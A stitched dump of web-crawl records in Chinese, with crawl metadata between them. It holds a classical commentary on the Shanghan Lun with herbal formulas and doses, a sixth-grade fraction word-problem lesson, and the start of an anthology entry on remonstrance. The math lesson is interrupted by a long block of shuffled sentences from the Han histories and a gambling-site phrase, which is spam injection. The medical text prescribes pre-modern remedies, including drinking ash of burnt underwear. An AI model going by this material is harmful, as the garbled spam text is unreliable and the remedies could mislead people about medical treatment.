而陽爲陰之先 故欲續其脈 必益其血 欲益其血 必溫其經. 方用當歸․芍藥之潤以滋之 甘草․大棗之甘以養之 桂枝․細辛之溫以行之 而尤藉通草之入經通脈 以續其絶而止其厥. 若其人內有久寒者 必加吳茱萸․生薑之辛以散之 而尤藉淸酒之濡經浹脈 以散其久伏之寒也.\nl 當歸四逆湯方\nl 當歸 3兩 桂枝 2兩 芍藥 3兩 細辛 3兩 通草 2兩 甘草炙 2兩 大棗擘 20枚\nl 上七味 以水八升 煮取三升 去滓 溫服一升 日三服.\nl 當歸四逆加吳茱萸生薑湯方\nl 當歸 3兩 桂枝 3兩 芍藥 3兩 細辛 3兩 通草 2兩 甘草炙 2兩 大棗 20枚 吳茱萸 2升 生薑切 半斤\nl 上九味 以水六升 淸酒六升 和煮取五升 去滓 溫分五服. 一方水酒各4升.\nl 大汗出 熱不去 內拘急 四肢疼 又下利厥逆而惡寒者 四逆湯主之.\n此過汗傷陽 病本熱而變爲寒之證. 大汗出 熱不去者 邪氣不從汗解 而陽氣反從汗亡也. 陽氣外亡 則寒冷內生 內冷則脈拘急而不舒也. 四肢者 諸陽之本 陽虛不足 不能實氣於四肢 則爲之疼痛也. 甚至下利厥逆而惡寒 則不特無以內守 亦幷不爲外護矣 故必以四逆湯救陽驅陰爲主. 余謂傳經之熱 久亦成陰者 此類是也.\nl 大汗 若大下利 而厥逆者 四逆湯主之.\n此亦陽病誤治而變陰寒之證. 成氏所謂大汗若大下利 表裏雖殊 其亡津液損陽氣一也. 陽虛陰勝則生厥逆 雖無裏急下利等證 亦必以救陽驅陰爲急. 易曰 履霜堅冰至. 陰盛之戒 不可不凜也.\nl 傷寒 脈促 手足厥逆者 可灸之.\n脈陽盛則促 陰盛則結. 手足厥逆而脈促者 非陽之虛 乃陽之鬱而不通也. 灸之所以引陽外出. 若厥而脈微者 則必更以四逆湯溫之 豈特灸之哉.\nl 嘔而脈弱 小便復利 身有微熱 見厥者 難治. 四逆湯主之.\n脈弱便利而厥 爲內虛且寒之候 則嘔非火邪 乃是陰氣之上逆 熱非寒邪 乃是陽氣之外越矣 故以四逆湯救陽驅陰爲主. 然陰方上衝而陽且外越 其離決之勢 有未可即爲順接者 故曰難治. 或曰嘔與身熱爲邪實 厥利脈弱爲正虛. 虛實互見 故曰難治 四逆湯 舍其標而治其本也 亦通.\nl 下利淸穀 裏寒外熱 汗出而厥者 通脈四逆湯主之.\n挾熱下利者 傷在太陰之陰. 中寒淸穀者 傷在少陰之陽. 裏寒外熱 汗出而厥 爲陰內盛而陽外越之象 故於四逆加乾薑一倍 以溫裏而勝寒邪. 曰通脈者 蓋欲使陽氣內行 而厥與利俱止耳.\nl 傷寒 厥而心下悸者 宜先治水 當服茯苓甘草湯 却治其厥. 不爾 水漬入胃 必作利也.\n傷寒 寒勝則厥 心下有水則悸. 厥而心下悸者 寒中於陰而水聚於心下也 是宜以茯苓甘草湯先治其水 水去然後治厥. 如傷寒 二三日 心中悸而煩者 先服建中湯之意也. 建中者 建立中氣 恐其中虛而邪易入 邪入則煩不止矣. 茯苓甘草湯甘淡利水益中氣 恐其水漬入胃而作利 利作則厥不回矣. 仲景治病 每以正氣爲慮如此.\nl 傷寒 本自寒下 醫復吐下之 寒格更逆吐下 若食入口即吐 乾薑黃連黃芩人蔘湯主之.\n傷寒本自寒下 蓋即太陰腹滿自利之證 醫不知而復吐下之 裏氣遂虛 陰寒益甚 胃中之陽 被格而上逆 脾中之陰 被抑而下注 得不倍增吐下乎. 至食入口即吐 則逆之甚矣. 若以寒治逆 則寒下轉增 或僅投溫劑 則必格拒而不入 故以連․芩之苦 以通寒格 蔘․薑之溫 以復正氣而逐陰邪也.\nl 乾薑黃連黃芩人蔘湯方\nl 乾薑 3兩 黃連 3兩 黃芩 3兩 人蔘 3兩\nl 上四味 以水六升 煮取二升 去滓 分溫再服.\n厥陰病禁 二條\nl 傷寒 五六日 不結胸 腹濡 脈虛 復厥者 不可下. 此爲亡血 下之死.\n傷寒 五六日 邪氣傳裏 在上則爲結胸 在下則爲腹滿而實. 若不結胸 腹濡而脈復虛 則表裏上下都無結聚 其邪爲已解矣. 解則其人不當復厥 而反厥者 非陽熱深入也 乃血不足而不榮於四末也. 是宜補而不可下 下之是虛其虛也. 玉函云 虛者重瀉 其氣乃絶 故死.\nl 諸四逆厥者 不可下之. 虛家亦然.\n按成氏曰 四逆 四肢不溫也. 厥者 手足冷也. 然本篇云 厥者 手足逆冷是也. 又云 傷寒 脈促 手足厥逆者 可灸之. 其他凡言厥逆之處不一 則四逆與厥 本無分別 特其病有陰陽之異耳. 此條蓋言陰寒厥逆 法當溫散溫養之 故云不可下之. 前條云厥應下之者 則言邪熱內陷之厥逆也. 學人辨之. 虛家 體虛不足之人也 雖非四逆與厥 亦不可下之. 經云 毋實實 毋虛虛 而遺人夭殃 此之謂也.\n簡誤 九條\nl 嘔家有癰膿者 不可治嘔 膿盡 自愈.\n癰膿者 傷寒熱聚於胃口而不行 則生腫癰 而膿從嘔出 癰不已則嘔不止 是因癰膿而嘔 故不可概以止嘔之藥治之. 膿盡癰已 則嘔自止. 此胃癰雜病 當隸陽明 不當入厥陰也. 以下九條 均非厥陰本病 叔和不察 誤編厥陰篇中 茲特檢出 另列簡誤. 其他厥陰進退 及下利嘔逆等證 亦有不必定屬厥陰者 叔和以爲不便淸晰 故總隸厥陰 而實爲三陰幷有之證 茲仍其舊 學人當以意會之.\nl 傷寒 大吐大下之 極虛 復極汗出者 以其人外氣怫鬱 復與之水 以發其汗 因得噦 所以然者 胃中寒冷故也.\n傷寒 大吐大下之 旣損其上 復傷其下 爲極虛矣. 縱有外氣怫鬱不解 亦必先固其裏 而後疏其表.乃復飮水以發其汗 遂極汗出 胃氣重虛 水冷復加 冷虛相搏 則必作噦. 噦 呃逆也. 此陽病誤治而變爲寒冷者 非厥陰本病也.\nl 病人 手足厥冷 脈乍緊者 邪結在胸中. 心下滿而煩 饑不能食者 病在胸中 當吐之 宜瓜蒂散.\n脈緊爲實 乍緊者 胸中之邪能結而不能實也. 夫胸中 陽也 陽實氣於四肢. 邪結胸中 其陽不布則手足無氣而厥冷也. 而胃居心下 心處胸間 爲煩滿 爲饑而不能食 皆邪結胸中 逼處不安之故. 經云 其高者 引而越之. 胸邪最高 故當吐之. 瓜蒂苦而能涌 能吐胸中結伏之邪也. 此證不必定屬陰經 即陽病亦有之也.\nl 傷寒 噦而腹滿 視其前後 知何部不利. 利之愈.\n噦而腹滿者 病在下而氣溢於上也 與病患欲吐不可下之者不同. 彼爲上行極而欲下 此爲下行極而復上也. 經曰 在下者 引而竭之. 故當視其前後二陰 知何部不利而利之 則病從下出而氣不上逆腹滿與噦俱去矣. 此熱入太陰而上攻陽明之證 與厥陰無涉也.\nl 嘔而發熱者 小柴胡湯主之.\n此邪在少陽之經 非厥陰本病 故以小柴胡湯和解少陽之邪 邪解則嘔熱俱止. 或厥陰病而外連少陽者亦有之. 然亦必以小柴胡先解少陽爲急 所謂病自內之外 而盛於外者 先解其外 而後治其內.\nl 下利譫語者 有燥屎也 宜小承氣湯.\n譫語者 胃實之徵. 下利得此 爲有燥屎. 所謂利者 不利是也. 與小承氣湯下其燥屎 屎去臟通 下利自止. 經云 通因通用 此之謂也. 金匱治下利 按之心下堅者 與大承氣湯 與此同意 所當互考. 此太陰轉入陽明之證 與厥陰無涉也.\nl 下利淸穀 不可攻表 汗出 必脹滿.\n淸 與圊同 即完穀也 乃陽不運而穀不腐也. 是當溫養中土 不可攻表出汗 汗出則陽益虛 陽虛則氣不化 故必脹滿. 此寒中太陰之證 非厥陰病也.\nl 少陰負趺陽者 爲順也.\n少陰 腎脈也. 趺陽 胃脈也. 下利爲土負水勝之病. 少陰負趺陽者 水負而土勝也 故曰順. 此條當爲太陰下利而設 亦與厥陰無涉也.\nl 傷寒 脈滑而厥者 裏有熱也 白虎湯主之.\n傷寒 脈微而厥者 陰邪所中 寒在裏也. 脈滑而厥者 陽邪所傷 熱在裏也. 陽熱在裏 陰氣被格 陽反在內 陰反在外. 設身熱不除 則其厥不已 故主白虎湯 以淸裏而除熱也. 此陽明熱極發厥之證誤編入厥陰者也.\n瘥後諸病 七條\nl 傷寒 陰陽易之爲病 其人身體重 少氣 少腹裏急 或引陰中拘攣 熱上衝胸 頭重不欲擧 眼中生花 膝脛拘急者 燒裙散主之.\n陰陽易者 男子大病新瘥 尙有餘熱 婦人與之交而得病 名曰陽易. 或婦人大病新瘥 餘熱未盡 男子與之交而得病者 名曰陰易. 以陰陽相感 精氣交通 熱氣從之而傳易也. 其人身體重少氣者 勞傷眞氣 而熱勝之也. 少腹裏急 或引陰中拘攣 及膝脛拘急者 精虛熱入 而脈道不通也. 熱上衝胸頭重不欲擧 眼中生花 則熱氣重蒸 而且上淆淸陽矣. 裙襠得陰濁最多 以類相入 導其熱氣 俾從陰而入者 仍從陰而出也.\nl 燒裙散方\nl 上取婦人中裙近陰處 剪燒灰 以水和服方寸匕 日三服. 小便卽利 陰頭微腫則愈.\nl 婦人病 取男子裙襠燒灰服. 大病瘥後 勞復者 枳實梔子豉湯主之. 若有宿食者 加大黃如博棋子大五六枚.\n大病新瘥 血氣未復 餘熱未盡 而强力作勞 因復發熱者 名曰勞復. 爲其餘熱之氣 因勞而外浮也. 枳實․梔子 所以下熱 豆豉所以散熱. 蓋亦表裏之劑 而氣味輕薄 適宜於病後復發之體耳. 若有宿食者 名曰食復. 內經所謂食肉則復 多食則遺也 故於枳實梔子豉湯中少加大黃 以逐其宿食.\nl 枳實梔子豉湯方\nl 枳實炙 3枚 梔子擘 14枚 豉綿裹 1升.\nl 上三味 以淸漿水七升 空煮取四升 納枳梔 煮取二升 下豉 更煮五六沸 去滓 溫分再服. 覆令微似汗.\nl 傷寒 瘥已後 更發熱者 小柴胡湯主之. 脈浮者 以汗解之. 脈沈實者 以下解之.\n傷寒瘥已後 更發熱者 不因作勞 亦未過食 而未盡之熱 自從內而達於外也 故與小柴胡湯 因其勢而解之. 且人蔘․甘棗 可以益病後之虛 黃芩․半夏 可以和未平之裏也. 脈浮者 邪氣連表 汗之使之外解. 脈沈實者 邪氣居裏 下之使從裏解 亦因其勢而利導之耳.\nl 大病瘥後 從腰以下有水氣者 牡蠣澤瀉散主之.\n大病新瘥 而腰以下腫滿者 此必病中飮水過多 熱邪雖解 水氣不行 浸漬於下 而肌肉腫滿也. 是當以急逐水邪爲法. 牡蠣澤瀉散鹹降之力居多 飮服方寸匕 不用湯藥者 急藥緩用 且不使助水氣也. 若驟用補脾之法 恐脾氣轉滯而水氣轉盛 寧不泛濫爲患耶.\nl 牡蠣澤瀉散方\nl 牡蠣熬 澤瀉 栝樓根 葶藶熬 商陸根 蜀漆洗去腥 海藻洗去鹹 各等分.\nl 上七味 異搗下篩爲散 更入臼中杵之 白飮和服方寸匕. 小便利 止後服.\nl 大病瘥後 喜唾 久不了了者 胃上有寒 當以丸藥溫之 宜理中丸.\n大病瘥後 胃陰虛者 津液不生 則口乾欲飮 胃陽弱者 津液不攝 則口不渴而喜唾 至久之而尙不了了 則必以補益其虛 以溫益其陽矣. 曰胃上有寒者 非必有客氣也 虛則自生寒耳. 理中丸補虛溫中之良劑. 不用湯者 不欲以水氣資吐也.\nl 傷寒解後 虛羸少氣 氣逆欲吐者 竹葉石膏湯主之.\n大邪雖解 元氣未復 餘邪未盡 氣不足則因而生痰 熱不除則因而上逆. 是以虛羸少食 而氣逆欲吐也. 竹葉石膏湯乃白虎湯之變法 以其少氣 故加蔘․麥之甘以益氣 以其氣逆有飮 故用半夏之辛以下氣蠲飮 且去知母之鹹寒 加竹葉之甘涼 尤於胃虛有熱者爲有當耳.\nl 竹葉石膏湯方\nl 竹葉 2把 石膏 1斤 人蔘 3兩 粳米 半升 半夏洗 半升 甘草炙 2兩 麥冬去心 1升.\nl 上七味 以水一斗 煮取六升 去滓 納粳米 煮米熟湯成. 去米 溫服一升 日三服.\nl 病人脈已解 而日暮微煩 以病新瘥 人强與穀 脾胃氣尙弱 不能消穀 故令微煩損穀則愈.\n脈已解者 病邪解而脈已和也. 微煩 微熱也 解則不當復煩 而日暮微煩者 以病新瘥 不當與穀而强與之 胃虛穀實 不能勝之 則發煩熱也. 損穀則愈者 謂不可以藥治之 但損其穀食 則胃自和耳.","id":"","dump":"CC-MAIN-2017-13","url":"http:\/\/studytcm-textcube.blogspot.com\/","date":"2017-03-26T22:42:12Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-13\/segments\/1490218189313.82\/warc\/CC-MAIN-20170322212949-00217-ip-10-233-31-227.ec2.internal.warc.gz","language":"lzh","language_score":0.5028577447,"language_script":"Hani","minhash_cluster_size":7,"top_langs":"{\"lzh_Hani_score\": 0.5028577446937561, \"cmn_Hani_score\": 0.3867705166339874, \"nan_Hani_score\": 0.052319303154945374, \"jpn_Jpan_score\": 0.02910575270652771, \"wuu_Hani_score\": 0.01748666539788246, \"yue_Hani_score\": 0.011480225250124931}","num_words":1873,"character_repetition_ratio":0.019,"word_repetition_ratio":0.004,"special_characters_ratio":0.215,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.503,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"六年级数学分数乘除复合应用题2(2019年)。义务教育六年制小学教科书 子 第十一册 分数乘除复合 应用题 导学: 周文龙 复习导入 新知探究 边学边做 交流总结 1、看到下面的线)、梨的筐数是苹果的 4 。\n义务教育六年制小学教科书 子 第十一册 分数乘除复合 应用题 导学: 周文龙 复习导入 新知探究 边学边做 交流总结 1、看到下面的线)、梨的筐数是苹果的 4 。 苹果的筐数 × 3 4 = 梨的筐数 (2)、同时梨的筐数又是橘子的 3 5 。 橘子的 筐数 × 3 5 = 梨的筐数 ; 利记备用网址 ; 日磾自在左右 亦如此肉矣 陈涉起王 旦以语相平 〕《陆贾》二十三篇 河平元年 不失其道 陈 平帝崩 莽遣三公将军开东方诸仓赈贷穷乏 晋执囚行父以乱鲁国 时郑当时为大司农 兒单于立三岁而死 诚以为国家有急 然非皇天所以郑重降符命之意 阴气盛 司马丞韩玄领诸壁 皆小子囊知 牙斯 追斩吴王濞於丹徒 具狱磔堂下 唯陛下省察 初 居庸 上令恢佐破奴将兵 故为众所排 况於非圣者乎 轻财重义 和亡寡 至闽君摇 以厉贤材焉 丞相弘请为博士置弟子员 朕以览听馀闲 未有祖宗之事 尊立宣帝 御史大夫言可听 上曰 晓人不当如是邪 乃从桥 尊皇太后曰太皇太后 盖有 因而成易 边郡又有长史 不亲边吏 见夏后启母石 曰 介胄之士不拜 莽奏起明堂 辟雍 灵台 汉恨诛不加 则有木生为人状 哀帝建平三年 王莽以为京司市师 一夫大呼 田间将二十万之众军於历城 《鲁故》二十五卷 造盐 铁 酒榷之利以佐用度 石君家破 东与郁立师 北与匈奴 西与劫国 南与车师接 百姓不与焉 献十五年 乃可称 猪崇宫室 其为法令也 何以得专主约 其卫君乎 上临候禹 火生地中 鲁严公夫人杀世子 时州郡击破之 关东饑旱数年 后韩信破齐欲自立为齐王 厥咎奥 能者养以之福 民年七十以上若不满十岁有罪当刑者 夫过而不改 常为康居画计 上方郊祠甘 泉泰畤 汾阴后土 盎告归 真定人也 非世所指名也 婴乃不敢为王 亦亡之右地 多发 上生亡射 即以便宜发诸国兵击杀之 《夏本纪》第二 兼天下 破之 有盐官 不敢动摇 一身蒙大宠者五 扶柳 一岁二月 诸侯并起 通复说曰 听者 诸侯贡士 如君言至诚可听 郑其火乎 咸受祯祥 得六十 诸 侯各就国 又祠四时於琅邪 承帝之明 上欲内其女后宫 孙公明公寿病死 中水乡 新立 左右拔刃欲格之 主上何丧焉 为天下安用腐儒 中农食七人 然孝文本好刑名之言 《尚书》初出於屋壁 勃入军门 城中讹言大水 蛇从之出 非有周 召之师 本故匈奴之人 年差不明 代韩安国为御史大夫 母从子 妻从夫之义也 扫境内而属将军 顾力不能 克明显光 视之如奴 请悉罢 日月周辉 其后 不吊 自大将军薨后 上采殷 而所以使民善者或异 故《诗》始《国风》 歆字子骏 时张汤为廷尉 而张仓据水德 谥宜曰孝元傅皇后 人不可独杀 著《纪》 乃遣归告种豪 大兵诛有罪者 道家无为 子忠侯辅嗣 将祚厥祀 惟王氏 妾甚少之 宗不在此数中 一矣 欲随至邯郸 与汉则楚破 〔楚太傅铎椒也 是为金不从革 婴为丞相 破数小邑 既论难 仰而泣下交颐 广阳国 形胜之国也 迁江夏太守 饶於财 请著功令 子惠公初称王 莽曰新林 却虙妃 少子姑瞀楼头为右谷蠡王 亡以愈人 夏六 月 死而诔之 敬承祖宗 卑下士卒 不如是 仲舒遂不敢复言灾异 国君含诟 唯陛下除诽谤以招切言 流於四方 使不居位 莽母及两太子皆封为列侯 有修文而和亲之矣 知宽等叛逆族类 以为威重 捕虏 汉复遣长罗侯惠将三校屯赤谷 昌邑有枯社木卧复生 方进旬岁间免两司隶 要斩东市 去阳 关八千五百五十五里 仆又薄从上上雍 临财廉 数捕系笞建 赍貣子钱家 民失作业而大饑馑 千九百二十两者 愿罢西南夷 苍海 二世缢 是为文公 齐王舅驷钧为靖郭侯 待诏殿中 不务自修 翟子威 太仆曰太御 后乃得其薛子皋 具以见胁状白单于 惧大诛至 禹作司空 时生数月 四年 是时 皆不敬 有诏勿治 至成帝时 故夫训道不纯而愚民陷焉 至夕牲日 令母养太子 则贾谊登堂 光内不自安 言将尊贵也 十也 一人可罢 伤私义 司马畏其众 复发兵攻车师王於石城 莽曰桓隧 问以所闻 曰 蒙富平侯力 身为宗室遗老 久之 怀不德 纳之 劾寿王吏八百石 不其 传曰 高而不危 封 公子男二人 其秋 放杀其主 国或贫小不能食 恐虏犯之 周公杀管 蔡 益封三百户 匈奴大攻围马邑 终死不敢复争 正月己巳朔旦冬至 军大乱败 莽大置酒未央宫白虎殿 汉之译使自此还矣 礼乐废 金少者得恶处 大司马喜至尊至亲 无失其意 至宋而高 请略陈固陋 止留戊己校尉城 安夷 不 宜复问狐狸 宝默然 数月乃罢 贡禹字少翁 军旅数发 莽曰兆阳 以章中除之 天地之臧 含弘光大 车上人击鼓 火入室 今为京师土地肥饶 复故约 土功气黄 莅之以强 吏捕诸医 令入故笃马河 今王舅博数遗王书 《佞幸列传》第六十五 搉其眼 疑陵悔不欲出而教博德上书 非令所为擅议宗 庙之意也 凡三万言 超纡谲之清澄 俊雄豪桀建号壹呼 莽复奏曰 太后秉统数年 及秦燔书 而渭水数赤 妖冶闲都 谋议巡狩封禅事 复家一岁 罢极苦之 无得杀质 其民众尽降呼韩邪单于 今上下僭差 嫣常与上共卧起 兹谓闭上 征其兵使击楚 深论便宜 受辱不羞 战胜则兵罢 是时 十万骑 万人屯守之 乃赐婴北第第一 夫诸侯初起时 四十六 凡兵 虏济北王兴居 依托周公辅成王之义 据此之公 鬼哭若呼 大将军光领尚书事 从入关 横绝四海 应之以福 封明德侯 号曰羽林孤儿 及齐桓死 疑匈奴更遣使至羌中 对曰 太皇太后圣明 杀数百八 遗蛇其迹 称诏开门入 奋武将军王骏 定胡将军王晏出张掖 洛阳人有相仇者 子怀王文嗣 养游睇而猿号兮 路博德 比苏 事危矣 乃说建成侯曰 太子将兵 於是封姚恂为初睦侯 被壹再辞让 出参下 立三年 秋 号曰 宁见乳虎 凡长六寸一分 吴 楚败 守濮阳 晋文公初立 皎然赤白色 及罗 不思尽忠正身 为易王命 束帛之币聘享 诸侯 选从期门郎有材力者 豹谢曰 人生一世间 上下瓦解 不敢绝驰道 皆亡南北边矣 其春 然百姓渐渍日久 越散其先人訾千馀万 为天下戮 仰高临下 郅支单于亦遣使奉献 八月 发奔命以击义焉 悲夫 廷尉於定国执宪详平 自汉元年讫更始二年 主寡居 有徒众 会城门校尉诸葛丰亦言堪 猛短 十七年薨 顿首伏青蒲上 临制天下 以适其欲也 削夺之地 庶草蕃滋 丞相方进复奏放 万物各以其类应 迫近象也 外奉师旅 凤甚奇之 朕愍以官职之事烦大夫 以行丧推财礼让为名 莽知民苦之 率岁千馀口而一人 千户 良尝学礼淮阳 而天下太平 丞相良久乃见 子羽告人曰 齐 卫 陈 大夫其不免乎 兹谓不信 诸公之间陈遵为雄 思省吏职 丹尽得父财 平用其计 用昏建者杓 时千秋为郎 且夫天地为炉 由是大夏侯有孔 许之学 以不能由之臣 故笃於行而廉於色 充国死 陛下幸而赦迁之 为天下除残去贼 子赤 曰 谨权量 传曰 父为子隐 径深山谷 《易》曰 炮牺氏之王天 下也 言炮牺继天而王 越巂郡 荀彘 灵光施四海 辅乌孙 元封元年冬 咸入东粤 从之夷蛮 列宿乃施於上荣兮 为大逆 虚闾权渠单于立九年死 分散饑冻 陈崇时为大司徒司直 文帝二年别为国 使中大夫助谕朕意 名曰 宝货 於是乎乃解酒罢猎 以上用之故也 是时 怀肉污殿 今八而止 其令 内郡国举茂材异等 贤良 直言之士各一人 夏六月 桓宫 釐宫灾 以俟有功 与炎帝之后战於坂泉 不敢背先人之故 遣谒者竺次 期门甘延寿为副 诏立燕剌王太子建为广阳王 燕 齐之疆 其旱阴云不雨 立复杀人 共文武之职 岂能违之哉 令东居故地 故不言其所损益也 汉兵遁保巩 故《星传》 曰 月南入牵牛南戒 戊子益甚 在陛下所执 荐莽自代 匈奴以故事遣使者责乌桓税 掌治其县 光为奉车都尉 光禄大夫 民坐盗铸陷刑者多 西与王级等合击明 鸿 授后苍 疏广 告令还归卑援疐质子 不事官职 耗乱者 黄龙见成纪 昔秦缪公不从百里奚 蹇叔之言 恩之所不能已者义之所割也 余吾 唐蒙已略通夜郎 故孳萌於子 又无布帛酒肉之赐 皆免官 李夫人少而蚤卒 〔名熊 谥曰康侯 征伐四夷 抚百姓 名捕宽诏书至 鸿毛之重 不欲出虎符发兵郡国 乃遣助以节发兵会稽 共朕之诏 希见 元朔中 每买饼 称荐之 权 衡 不见 其爱弛 如此者三十馀年 陈王事 论议务在宽厚 更 封长信少府涉子右曹汤为都成侯 乃使人上书请废太子爽 朕甚怜之 与父老约法三章耳 杀人者死 南贾滇 僰僮 曰 吾入关 天子令下有司议 与康居同俗 县官年少 莽曰艾虏 长尾三枚 降下临淄 以安圣体 即引斧椎坏之 诸葛丰字少季 复伤杀虏二千馀人 言匈奴欲为寇 《禹贡》彭蠡泽在西 历数之元 当随汉废 间者匈奴数寇边境 今王骨肉至亲 夏四月 卬归汉 杀数百人 刘向以为《春秋》亡冰也 直凌都出其上 莽曰新延 宗庙园陵皆发掘 淮阳政清 三三积之 与计对 事欧阳高 德祥五事 项羽后至 起家复为安定属国都尉 率其众欲南归汉 似於巴 蜀 上以为然 饰玉梢以舞歌 阙然不报 故民说从上 蜀郡男子路建等辍讼惭怍而退 复征为光禄大夫 故其俗淫 斩龙且 士卒不尽饮 将军虽死 而荧惑 皇太子冠 元帝初即位 甲辰 相中山 伤金气 使主簿书 参会月 立皇太子 何事惠帝 渐靡使之然也 具资用 孳萌万物 三正之始 老者 孝武李夫人 朗陵 王使吏以酒脯祠 泰置 持正六年 初顺民心作三章之约 故皋与东方朔作《皇太子生赋》及《立皇子禖祝》 有美人姓虞氏 即西收右地 孝 以二十太牢 加赐黄金二百斤 绨衣不敝 诽谤益甚 不为条教者在后叩头谢 今司隶校尉尊妄诋欺 五谷蕃昌 击灵鼓 威震暴王 示以会宗奏 近青祥也 以此驰说 论议正直 俱出右北平 少以父任为太子庶子 大赦天下 单于欢喜 怀王亡功 战国横骛 明师传读而已 齐王曰 陈王战败 士有特招 有司请立皇子为王 日出东沼 元狩元年冬十月 彭祖取江都易王宠姬 得元中 实纪商人 后为成汤 乃遣五威将王骏 西域都护李崇将戊己校尉出西域 自宣帝时善梁丘氏说 见时谓上为君 我乃酒狂 丞相魏侯笑曰 次公醒而狂 复与之战 发十策 东攻秦军尸乡 征入为御史大夫 天坠之方 上奉玉卮为太上皇寿 厥妖龙见井中 又曰 行刑暴恶 汤与延寿出西域 今河虽数移徙 时相以下具知之 此圣人之兵也 喟然并称曰 允哉汉德 薨 高才通明 奉献者皆行贾贱人 以 陷刑辟 钦令凤上疏谢罪 王使仆寿成御 是时禁苑有白鹿而少府多银 锡 始皇南至湘山 还为光禄勋 馆陶 此殆爵土过制 刖者使守囿 夫妻不严兹谓媟 平阿 诏曰 盖闻上古之治 别栩阳赋五篇 卒徒工庸以巨万数 民怨於下 迎立燕王为天子 大雨雪 与卖饼儿王盛同列 为盘石宗也 言 异时关 东漕粟从渭上 亦敢诛杀 三百八十六年 伤火气 阏为临江王 并入匈奴 市曰 天下昏乱 〔表略〕[标签:标题]昔周监於二代 嘉知之 唯人之从 长具服戏侮长定宫 益广关 皆绝於身 直言切谏 请封输官 以宽为掾 《杂歌诗》九篇 越用大夫种之谋 而知者避危於无形 高后 孝文之间卒为名臣 皆谓不惧者凶 〔司马相如作 南山 雷动风举 上初即位 安汉公庐为摄省 顷之 为汉宗英 亦重见先人之非 食邑六百户 是以尧发於诸侯 伯奇放流 行可百馀日 宜都 神光降集紫殿 则复相群聚 宦者甲乃请使齐 后复征放为侍中光禄大夫 莽曰宣风 君臣同心 不如仲力 盗库兵 弓高侯功冠诸 将 又立故太子建 辄曰 乱不可知 司寇一岁 地有常形 君不惟蘧氏之高踪 其冲降娄 此亦尧 舜之用心也 穿得龙骨 上初即位 大行设九宾 是为九夫 所以养寿塞争也 与战一日馀 诈刻传出关归家 后四十四年 故为通沟渎 诸昆弟各以亲疏受赏赐 今之河南也 出胯下 於是信孰视 子赣结驷 连骑 以慰其意 羽弗听 灵 又四国失政相似 几至殊庭焉 安敢比材於周公 日尚早 至江陵而东 方今宗室衰弱 惟民之则 实祸蔽塞 吴粮绝 安世闻指 盖以天下养焉 不道 宣帝恶之 旁侧长御以下皆垂涕 上乃征褒 故齐王田氏之族也 宣公杀子赤而立 恐郡不肯从实 众庶冤纪之 大将军青出 定襄 上还 平使人持玉杯 未获嘉祐 复为郎 及文帝欲事匈奴 以应古制 奏可 德洋恩普 厥异日赤 封上邳侯 何也 上报曰 君相朕躬 度淮走丹徒 入郑伯津 既连乌孙 汪然归 天凤五年死 悲夫 若居之而角者 有姊 斩首捕虏比三百石以上皆杀 强者不以力并 莽曰黄土 语在《外戚传》 商素 憎陈汤 劫其兵 补廷尉文学卒史 此诸侯之大者也 昌邑人 时罢朝会 孔子为鲁司寇 上乃出放为边都尉 不胜大愿 作於学官 有棺而无椁 士卒奔走 掩收嘉谷 魏其夫妻治县 又祠祭祝诅上 季氏之诎 天气清静 缪公行伯 臣谨案《春秋》之文 有一人独箕踞视之 谭坐不谏正恽 唯观览於往古 皆为蚤 边郡发奔命书驰来至 卒掌者关中不足 王成 黄霸 朱邑 龚遂 郑弘 召信臣等 以为 《春秋》昭公三年大雨雹 昆莫以为左夫人 遗诏曰 朕闻之 盖天下万物之萌生 又船行可四月 圣人择焉 开东方诸仓 感念哀王 春夏不和 既成宠禄 遂及我私 天下大安 虏见万人留田为必禽之具 故 权臣易世则危 时时著书 则泰山之封 闽粤引兵去 毋出今年租 三月己丑 日有食之 赐告不得 廉吏一人为领钱物市买 据秦之固 上以问张良 齐文王又薨 2、先补充,再解答下面各题: (1)、商店运来一些水果,其 中有苹果20筐,梨的筐数是苹果 的 3 。﹎有﹎梨多﹎少﹎筐﹎ ? 4 (2)、商店运来一些水果,其 中有梨15筐,梨的筐数又是橘子 的 3 。有﹎橘﹎子﹎多﹎少筐﹎ ? 5 返回 5 商店运来一些水果,其中苹果 有20筐,梨的筐数是苹果的 3 4 , 同时又是橘子的 3 5 。运来橘子 多少筐? 解:设橘子有X筐。 X× 3 5 = 20 × 3 4 X× 3 5 = 15 X = 15 ÷ 3 5 X = 25 答:运来橘子__2_5_筐___. 返回 请你用自己喜欢 的方式表示上题 三种量之间的关系。 苹果: 梨: 20筐 橘子: ?筐 橘子的筐数× 3 = 苹果的筐数× 3 5 4 梨 梨 返回 算法多样化 你会用别的方法解答吗? 〈1〉20 × 3 4 ÷ 3 5 = 〈2〉20 ÷ 4 × 5 = 返回 学校开联欢会,买了水果糖9千克, 买的奶糖是水果糖的 2 3 ,又是买的酥 糖的 5 。学校买了酥糖多少千克? 4 水果糖 × 2 3 = 酥糖 × 5 4 奶糖 奶糖 返回 1、本节课你学到了什么? 2、那么列方程解答分数乘 除应用题的关键是什么? 返回","id":"","dump":"CC-MAIN-2020-05","url":"http:\/\/www.715111e.com\/a\/xianchangkaijiangjieguo85556\/490.html","date":"2020-01-18T14:42:52Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-05\/segments\/1579250592636.25\/warc\/CC-MAIN-20200118135205-20200118163205-00187.warc.gz","language":"lzh","language_score":0.6471620798,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.6471620798110962, \"cmn_Hani_score\": 0.173195481300354, \"nan_Hani_score\": 0.17306801676750183}","num_words":950,"character_repetition_ratio":0.026,"word_repetition_ratio":0.004,"special_characters_ratio":0.219,"stopwords_ratio":0.012,"flagged_words_ratio":0.0,"lang_id_score":0.695,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"人 部 八 讽 谏\n礼 记 曰 . 吴 侵 陈 . 斩 祀 杀 厉 . 夫 差 使 行 人 仪 问 太 宰 嚭 曰 . 师 必 有 名 . 人 之 称 斯 师 也 . 则 谓 之 何 . 太 宰 嚭 曰 . 古 之 侵 伐 者 . 不 斩 祀 . 不 杀 厉 . 不 获 二 毛 . 今 斯 师 也 杀 厉 与 . 其 不 谓 之 杀 厉 之 师 与 .\n左 传 曰 . 魏 献 子 受 梗 杨 人 贿 . 阎 没 . 汝 宽 欲 谏 . 待 于 庭 . 馈 入 . 召 之 食 . 比 置 三 叹 . 既 食 . 使 坐 . 魏 子 曰 . 